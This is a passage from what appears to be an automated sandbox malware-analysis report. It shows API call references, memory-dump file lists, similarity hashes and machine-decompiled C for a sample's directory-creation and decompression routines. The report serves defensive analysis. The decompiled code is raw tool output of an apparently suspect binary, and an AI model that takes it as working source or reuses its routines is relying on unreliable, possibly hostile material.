SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
SetFilePointer.KERNEL32(?,00000000,00000000,248058040134,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB

Strings

y@, xrefs: 00403549, 00403562
248058040134, xrefs: 004034ED, 004034F3

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: 248058040134$y@
API String ID: 1092082344-3798503964
Opcode ID: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
Opcode Fuzzy Hash: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405B99(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405ba4
0x00405ba8
0x00405bab
0x00405bb1
0x00405bb5
0x00405bb9
0x00405bc1
0x00405bc8
0x00405bce
0x00405bd5
0x00405bdc
0x00405be4
0x00405be6
0x00000000
0x00405be6
0x00405bf0
0x00405bf7
0x00405c0d
0x00000000
0x00000000
0x00000000
0x00405c0f
0x00405c13

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
GetLastError.KERNEL32 ref: 00405BF0
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
GetLastError.KERNEL32 ref: 00405C0F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BBF

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-4017390910
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00406BB0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406BB0(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00407602))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
